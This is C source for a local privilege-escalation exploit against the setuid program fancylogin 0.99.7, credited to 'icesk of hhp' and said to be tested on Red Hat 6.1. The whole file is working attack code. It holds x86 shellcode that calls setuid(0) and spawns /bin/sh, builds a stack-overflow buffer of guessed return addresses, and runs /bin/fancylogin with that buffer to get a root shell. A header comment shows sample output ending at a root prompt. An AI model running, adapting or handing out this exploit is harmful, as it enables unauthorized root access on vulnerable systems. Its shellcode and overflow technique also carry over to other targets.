/*
  * (fancylogin 0.99.7) (suid) local root exploit.
  * Author: icesk of hhp. :: Greets to ttl.
  * www.hhp-programming.net / icesk@hhp-programming.net
  * Tested on redhat 6.1.
  *
  * bash$ ./hhp-fancy_smash.c
  * esp: bffffcc8 offset: -740 return: bfffffb4 align: 0
  * This is fancylogin 0.99.7
  * <http://fancylogin.sourceforge.net/>.
  * bash# exit
  */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char shellcode[] =
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
 "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define bsize 700
#define offset -710

char buffer[bsize * 6];
char *get_sp() { asm("movl %esp,%eax"); }

main(int n, char **v) {
  int i, off, align; align = 0;
  if(n > 1) { off = atoi(v[1]); align = atoi(v[2]); }
  else { off = offset; align = 0; }
  printf("esp: %0x offset: %d return: %0x align: %d\n", get_sp(), off, get_sp()
 - off, align);

  for(i=0;i<align;i++) buffer[i] = 'A';
  for (i=align;i<(bsize * 5)-4;i+=4)
    *(char **)&buffer[i] = get_sp() - off;
 
  memset(buffer, '\x1b', bsize * 1);
  setenv("shellcode", shellcode, 1);
  execl("/bin/fancylogin", "fancylogin", "-h", buffer, 0);
}